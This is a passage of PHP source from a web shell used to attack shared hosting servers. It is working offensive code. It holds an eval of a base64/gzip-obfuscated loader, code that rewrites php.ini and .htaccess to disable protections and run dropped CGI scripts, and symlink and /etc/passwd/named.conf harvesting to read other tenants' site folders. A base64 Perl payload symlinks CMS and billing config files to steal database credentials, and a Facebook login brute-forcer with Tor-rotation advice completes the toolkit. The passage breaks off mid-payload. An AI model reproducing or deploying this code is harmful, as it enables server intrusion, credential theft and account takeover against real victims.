<input name="mendapatkan" type="hidden" value="passwd">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="pass" type="hidden" value="password">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
Security</strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo 'ON';
}else{
echo 'OFF';
}
?>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<form method="POST" target="_blank">
<strong>
<input name="matikan" type="hidden" value="sekatan">
</strong>
<?php
if(''==($func=@ini_get('disable_functions')))
{
echo "<font color=white>No Security for Function</font></b>";
}else{
echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
echo "<font color=red>$func</font></b>";
echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
</strong>
</td></tr>';
}
?></strong></td></tr></table></table></table>
<?php
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){ eval(gzinflate(base64_decode($jumper))); "</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tutor'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tutor" method="post">
<center><br><br><b>+--=[ Tutorial & Ebook hacking ]=--+</b><br>
<form method="post" action="">
<table class="tabnet" border="1" >
<tr>
<td align="center">English</td><td align="center">Indonesian</td>
</tr>
<tr>
<td><form method="post" action="">
E-book Hacking :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial24" > Hacking Exposed-5 </option>
<option value="tutorial25"> Internet Denial Of Service </option>
<option value="tutorial26">Computer Viruses For Dummies</option>
<option value="tutorial27">Hack Attacks Testing</option>
<option value="tutorial28">Secrets Of A Super Hacker</option>
<option value="tutorial29">Stealing The Network</option>
<option value="tutorial30">Hacker's HandBook</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</td></form>
<td><form method="post" action="">
Tutorial by Mr.HaurgeulisX196 :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial2">Search Engine Hacking</option>
<option value="tutorial3">SQL Injection dengan hackbar</option>
<option value="tutorial1" >Bypass Union</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
</tr>
<tr>
<td>
<form method="post" action="">
E-Book from Syn|gress :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="cryptography_for_defeloper">Cryptography for Developer</option>
<option value="tutorial31">Mobile Malware Attack and Defense</option>
<option value="forensic">CD and DVD Forensic</option>
<option value="ddd">Open Sourch Security Tools</option>
<option value="metasploit">Metaslpoit Toolkit</option>
<option value="stealing_network">Stealing the Network</option>
<option value="security_polices">Creating Security Polices</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
<td>
<form method="post" action="">
X-CODE MAGAZINE :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial4">X-CODE MAGAZINE 1</option>
<option value="tutorial5">X-CODE MAGAZINE 2</option>
<option value="tutorial6">X-CODE MAGAZINE 3</option>
<option value="tutorial7">X-CODE MAGAZINE 4</option>
<option value="tutorial8">X-CODE MAGAZINE 5</option>
<option value="tutorial9">X-CODE MAGAZINE 6</option>
<option value="tutorial10">X-CODE MAGAZINE 7</option>
<option value="tutorial11">X-CODE MAGAZINE 8</option>
<option value="tutorial12">X-CODE MAGAZINE 9</option>
<option value="tutorial13">X-CODE MAGAZINE 10</option>
<option value="tutorial14">X-CODE MAGAZINE 11</option>
<option value="tutorial15">X-CODE MAGAZINE 12</option>
<option value="tutorial16">X-CODE MAGAZINE 13</option>
<option value="tutorial17">X-CODE MAGAZINE 14</option>
<option value="tutorial18">X-CODE MAGAZINE 15</option>
<option value="tutorial19">X-CODE MAGAZINE 16</option>
<option value="tutorial20">X-CODE MAGAZINE 17</option>
<option value="tutorial21">X-CODE MAGAZINE 18</option>
<option value="tutorial22">X-CODE MAGAZINE 19</option>
<option value="tutorial23">X-CODE MAGAZINE 20</option>
<option value="tutorial024">X-CODE MAGAZINE 21</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download" ></a>
</form></td></tr></table><br><br>
<?php
$submit = $_POST ['submit'];
if(isset($submit)) {
$pilih = $_POST['pilih'];
if ( $pilih == 'tutorial1') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/by_passing_illegal_mix_of_collations_for_operation__union__by_x_1n73ct.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial2') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/Search_engine_hacking_by_x_1n73ct.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial3') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/Sql_injection_dengan_hackbar.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial4') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_1.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial5') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_2.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial6') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_3.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial7') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_4.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial8') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_5.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial9') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_6.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial10') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_7.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial11') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_8.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial12') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode9.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial13') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode10.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial14') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode11.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial15') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode12.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial16') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode13.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial17') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode14.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial18') {
?>
<script>
document.location = 'http://xcode.or.id/Xcode15.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial19') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_16.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial20') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_17.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial21') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_18.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial22') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_19.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial23') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_20.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial024') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_21.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial24') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/hacking_exposed_5.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial25') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/internet_denial_of_service.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial26') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/computer_viruses_for_dummies.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial27') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/hack_attacks_testing.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial28') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/secrets_of_super_hacker.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial29') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/stealing_network_how_to_own_shadow.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial30') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/webapp_hackers_handbook.rar';
</script>
<?php
}
elseif ( $pilih == 'ddd') {
?>
<script>
document.location = 'http://199.91.153.95/t8dni7k639hg/3o321lcwwk8u5bh/Open_Source_Security_Tools.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial31') {
?>
<script>
document.location = 'http://205.196.121.149/sg22hm8qjbhg/afsa7ibbk4ny2kd/Mobile_Malware_Attacks_and_Defense.pdf';
</script>
<?php
}
elseif ( $pilih == 'cryptography_for_defeloper') {
?>
<script>
document.location = 'http://205.196.121.248/0sod33qw66ug/wypyz555sc9bn7h/Cryptography_for_Developers.pdf';
</script>
<?php
}
elseif ( $pilih == 'forensic') {
?>
<script>
document.location = 'http://205.196.120.85/uisebgmioyjg/6l70l00ba9yoksq/CD_and_DVD_Forensics.pdf';
</script>
<?php
}
elseif ( $pilih == 'metasploit') {
?>
<script>
document.location = 'http://199.91.153.192/3t115p2f6gvg/zvrrddmq6icqtd2/Metasploit_Toolkit.pdf';
</script>
<?php
}elseif ( $pilih == 'stealing_network') {
?>
<script>
document.location = 'http://205.196.123.138/wbsxltb8rbtg/5vm8a1d23i9zje3/Stealing_the_Network_-_How_to_Own_the_Box.pdf';
</script>
<?php
}elseif ( $pilih == 'security_polices') {
?>
<script>
document.location = 'http://199.91.153.73/6le01f562ehg/6l5ep021dhvlhlq/Creating_Security_Policies_and_Implementing_Identity_Management_with_Active_Directory.pdf';
</script>
<?php
}
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mannuan'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=mannuan" method="post">
<center><h1>+--=[ Mannu Config Shell Auto Rooter ]=--+</h1></center><br><br><center><div class=content>
<?php
@set_time_limit(0);
mkdir('mannu', 0755);
chdir('mannu');
$akuganteng = "php.ini";
$jomblongenes = "$akuganteng";
$astajim = fopen ($jomblongenes , 'w') or die ("Error cuyy!");
$matiindah = "safe_mode = Off
disable_functions = None";
fwrite ( $astajim , $matiindah ) ;
fclose ($astajim);
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .root
AddHandler cgi-script .root
AddHandler cgi-script .root";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$file = fopen("in.root" ,"w+");
$write = fwrite ($file ,base64_decode($gantengers));
fclose($file);
chmod("in.root",0777);
echo "<iframe src=mannu/in.root width=97% height=100% frameborder=0></iframe>
</div>";
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'automated'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=automated" method="post">
<center><h1>+--=[ Auto Symlink ]=--+</h1></center><br><br><center><div class=content>
<?php
@set_time_limit(0);
@mkdir('sym',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf){
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else {
echo "<br><br><div class='tmp'><table border='1' bordercolor='white' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '\.ir'; $israel = '\.il'; $indo = '\.id'; $sg12 = '\.sg'; $edu = '\.edu'; $gov = '\.gov'; $gose = '\.go'; $gober = '\.gob'; $mil1 = '\.mil'; $mil2 = '\.mi'; $malay = '\.my';
$china = '\.cn'; $japan = '\.jp'; $austr = '\.au'; $porn = '\.xxx'; $as = '\.uk'; $us = '\.us'; $menyan = '\.mm'; $calfn = '\.ca'; $india = '\.in'; $thai = '\.th'; $com = '\.com'; $ac = '\.ac'; $edu = '\.edu';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi ("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi("$us",$string[1][0]) or eregi("$menyan",$string[1][0])
or eregi ("$calfn",$string[1][0]) or eregi ("$calfn",$string[1][0]) or eregi ("$india",$string[1][0]) or eregi("$thai",$string[1][0]) or eregi("$com",$string[1][0])
or eregi ("$ac",$string[1][0]) or eregi ("$edu",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "<tr><td><div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div></td><td>'.$UID['name']."</td><td><a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a></td></tr></div> ";
flush();
} } } }
echo "</center></table>";
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'cms_detect'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">
<br><br><br><br><center><b><font size=4>+--=[ CMS Detector ]=--+</font></b></center><br><br>
<?php
if(!file_exists('pee.tmp')){
@fopen('pee.tmp', 'w');
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';
$p = 0;
if(is_readable("/var/named")){
$list = scandir("/var/named");
$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);
foreach($list as $domain){
if(strpos($domain,".db"))
{
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
error_reporting(0);
$link = $pageURL.'pee/'.$owner['name'];
cms_add($link,$domain,$owner['name'],"WordPress");
cms_add($link,$domain,$owner['name'],"Joomla");
cms_add($link,$domain,$owner['name'],"vBulletin");
cms_add($link,$domain,$owner['name'],"WHMCS");
cms_add($link,$domain,$owner['name'],"PhpBB");
cms_add($link,$domain,$owner['name'],"MyBB");
cms_add($link,$domain,$owner['name'],"IPB");
cms_add($link,$domain,$owner['name'],"SMF");
cms_add($link,$domain,$owner['name'],"Drupal");
cms_add($link,$domain,$owner['name'],"e107");
cms_add($link,$domain,$owner['name'],"Seditio");
cms_add($link,$domain,$owner['name'],"osCommerce");
}
}
}
}else{
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
$content = file_get_contents($pageURL.'pee.tmp');
echo $content;
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'fb')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=fb" method="post">
<br><br><center><b><font size=4>+--=[ Facebook BruteForce by Mr.HaurgeulisX196 ]=--+</font></b></center><br><br>
<?php
ob_start();
@set_time_limit(0);
#################################################
#---------------------------------------------- #
# Facebook Brute Force 2014 #
# Coded by : Mauritania Attacker&Noname-Haxor #
# Greetz : All AnonGhost Members #
# WWW.HAURGEULIS-SECURITY.COM #
# --------------------------------------------- #
#################################################
echo "
<head>
<link rel='icon' type='image/ico' href='http://media.stateofq.com/photologue/photos/cache/facebook%20favicon_thumbnail.png'/>
<form method='POST'>
<title>Facebook Brute Force 2014</title>
</head>
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid #1975FF ;
border-left: 4px solid #1975FF ;
}
input {
color: #1975FF;
border:1px dotted white;
}
</style>";
echo "
<body text='red' background='http://i.imgur.com/yMmSxgU.jpg'>
<center><img src='http://i.imgur.com/MiRrYCo.gif'></center>
<center>Gunakan ini dengan TOR BROWSER + TOR SWITCHER (ganti IP setiap 2 Menit Supaya Gak DIblok FB cok :v)</center>
<p dir='ltr' align='center'>
<textarea name='username' cols='42' rows='14'>Username Target Lu Cok</textarea>
<textarea name='password' cols='42' rows='14'>Wordlist Password Target Lu Cok</textarea><br>
<br>
<input type='submit' name='scan' value='Start BruteForce'><br></p>";
if(isset($_POST['scan'])){
#To Put Proxy SOCKS V5
//curl_setopt($ch, CURLOPT_PROXY, "proxy:port");
//curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
function brute($user,$pass){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
$login = curl_exec($ch);
//print_r($login);
$check = (eregi('class="s t i u"',$login)) ? true:false;
if($check == true){
echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>Not the right one :( || Username : <font color='red'>$user</font> Password : <font color='red'>$pass</font></font></p>";
}else{
echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>This Password Seems Working !Try It ^_^ || Username: <font color='green'>$user</font> Password : <font color='green'>$pass</font></font></p>";
}
}
$username = explode("
", $_POST['username']);
$password = explode("
", $_POST['password']);
foreach($username as $users) {
$users = @trim($users);
foreach($password as $pass) {
$pass = @trim($pass);
echo brute($users,$pass);
}
}
}
echo"<br>
<br>
<br>
<br>
<center><p><b><font size='2' face='Trebuchet MS' color='#FFFFFF'>Published by : Mr.HaurgeulisX196<br><font size='2' face='Trebuchet MS' color='#FFFFFF'>Coded by : Mauritania Attacker & Noname-Hax0r</font></b></p></center>";
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'massjump')){ @ini_set('output_buffering',0);
?>
<form action="?y=<?php echo $pwd; ?>&x=massjump" method="post">
<br><br><center><b><font size=4>+--=[ Server Jumping ]=--+</font></b></center><br><br>
<?php
echo "<table class=\"cmdbox\"><tr><td colspan=\"2\">";
($sm = ini_get('safe_mode') == 0) ?
$sm = 'off': die("<b><blink><font style='color:#ff0000'>[-] ERROR</font></blink> : Safe_mode = On </b></td></tr></table>
<br><br><br><br><center><div class=\"info\"><b>[__1n73ction Shell V3.3 Spesial Edition__]</div>
<br><br><div class=\"jaya\"> © ".date('Y',time())." X'1N73CT </b></div></center>");
set_time_limit(0);
echo "<table class=\"cmdbox\"><tr><td colspan=\"2\">";
@$passwd = fopen('/etc/passwd','r');
if (!$passwd) { die ("<b><blink><font style='color:#ff0000'>[-] ERROR</font></blink>nbsp; : I Can't Read [ /etc/passwd ]</b></td></tr></table>
<br><br><br><br><center><div class=\"info\"><b>[K3T3K PRIV 8 SHELL]</div>
<br><br><div class=\"jaya\"> © ".date('Y',time())." Scream'Z </b></div></center>"); }
echo "<table class=tabnet><tr><td>Status</td><td>Directory</td></tr>";
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd)){
$str = fgets($passwd);
if ($i > 10000){ $pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = '/home/'.$username.'/public_html/';
if (($username != '')){ if (is_readable($dirz)){ array_push($users,$username);
array_push($pub,$dirz); } } } $i++; }
foreach ($users as $user){
echo '<tr><td> [Found !] </td><td> <a href="?y=/home/'.$user.'/public_html">/home/'.$user.'/public_html/</a><td></tr>'; }
echo "</table>";
}
//////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'perlconfig')){ @ini_set('output_buffering',0);
{
?>
<form action="?y=<?php echo $pwd; ?>&x=perlconfig" method="post">
<center/><b><font color=>+--==[ Perl Config Fucker Priv8 ]==--+</font></b><br><br>
<?php
mkdir('MCF_config', 0777);
chdir('MCF_config');
$perl = ".htaccess";
$per2 = "$perl";
$per3 = fopen ($per2 , 'w') or die ("Error mas broo!!!");
$per4 = "OPTIONS Indexes Includes ExecCGI FollowSymLinks
AddType application/x-httpd-cgi .pl
AddHandler cgi-script .pl
AddHandler cgi-script .pl";
fwrite ( $per3 , $per4 ) ;
fclose ($per3);
$f10 = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5Db25maWcgRnVja2VyIEJ5IFgtMW43M2N0PC90aXRsZT4NCjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3BuZy0zLmZpbmRpY29ucy5jb20vZmlsZXMvaWNvbnMvMTkzNS9yZWRfZ2Vtc192b2xfMi8xMjgvcjJfZHJhZ29uLnBuZyIvPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHkgew0KCWJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQoNCn0NCi5uZXdTdHlsZTEgew0KIGZvbnQtZmFtaWx5OiBUYWhvbWE7DQogZm9udC1zaXplOiB4LXNtYWxsOw0KIGZvbnQtd2VpZ2h0OiBib2xkOw0KIGNvbG9yOiAjMDBmZjAwOw0KICB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQokZG9tYWluPSRtc3IuIi8iLiR1c2VyOw0KJGRvbWFpbj1+cy9cbi8vZzsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywkZG9tYWluLid+fj5DTUYudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGRvbWFpbi4nfn4+Q01GLWZvcnVtLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luYy9jb25maWcucGhwJywkZG9tYWluLid+fj5NeUJCLnR4dCcpIDsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk15QkItZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkZG9tYWluLid+fj5PdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGRvbWFpbi4nfn4+aW52aXNpby50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbGliL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PkJhbGl0YmFuZy50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50cy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZ3MudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwJywkZG9tYWluLid+fj5QaHBCQi1mb3J1bS50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRkb21haW4uJ35+PnBocGJiMy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+d2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG1jLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywkZG9tYWluLid+fj53aG1jczIudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+bWFuZ2V3aG1jcy50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5XaG05LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pm15c2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PnN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5zdXBwb3J0cy50eHQnKTsNCiBzeW1saW5rKCcva